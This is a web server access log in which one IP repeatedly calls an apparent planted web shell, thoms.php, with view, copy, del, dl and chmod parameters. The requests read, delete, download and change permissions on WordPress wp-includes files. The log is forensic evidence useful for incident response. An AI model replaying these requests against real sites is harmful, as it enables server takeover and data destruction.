45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 200 18990 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 200 14086 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /thoms.php?del=cron.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=cron.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 200 13119 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /bestzyx.com.tw/wp-includes/atomlib.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /thoms.php?del=shortcodes.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /thoms.php?chmod=sitemaps&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /bestzyx.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /bestzyx.com.tw/wp-includes/assets/ HTTP/1.1" 200 881 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 200 14346 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 200 14884 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 200 12931 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 200 12249 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?chmod=embed-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?chmod=abilities.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:14 -0400] "GET /thoms.php?dl=default-filters.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 200 71117 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?del=feed-rss.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59351 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 200 33043 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?chmod=general-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?dl=general-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59305 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?dl=class-phpass.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59341 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:15 -0400] "GET /thoms.php?dl=compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpost-formats.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpost-formats.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 200 12060 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 200 19810 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:16 -0400] "GET /thoms.php?chmod=theme-previews.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:16 -0400] "GET /thoms.php?dl=registration.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59337 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 200 39112 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:16 -0400] "GET /thoms.php?del=bookmark-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59338 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:16 -0400] "GET /thoms.php?dl=class-http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11834 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 200 12127 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /bestzyx.com.tw/wp-includes/capabilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /thoms.php?chmod=feed-atom.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /bestzyx.com.tw/wp-includes/date.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:17 -0400] "GET /bestzyx.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:18 -0400] "GET /bestzyx.com.tw/wp-includes/icons.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:18 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59362 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:18 -0400] "GET /thoms.php?dl=error_log&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:18 -0400] "GET /thoms.php?del=customize&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=customize&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:18 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:18 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 200 14285 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:18 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 200 12478 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
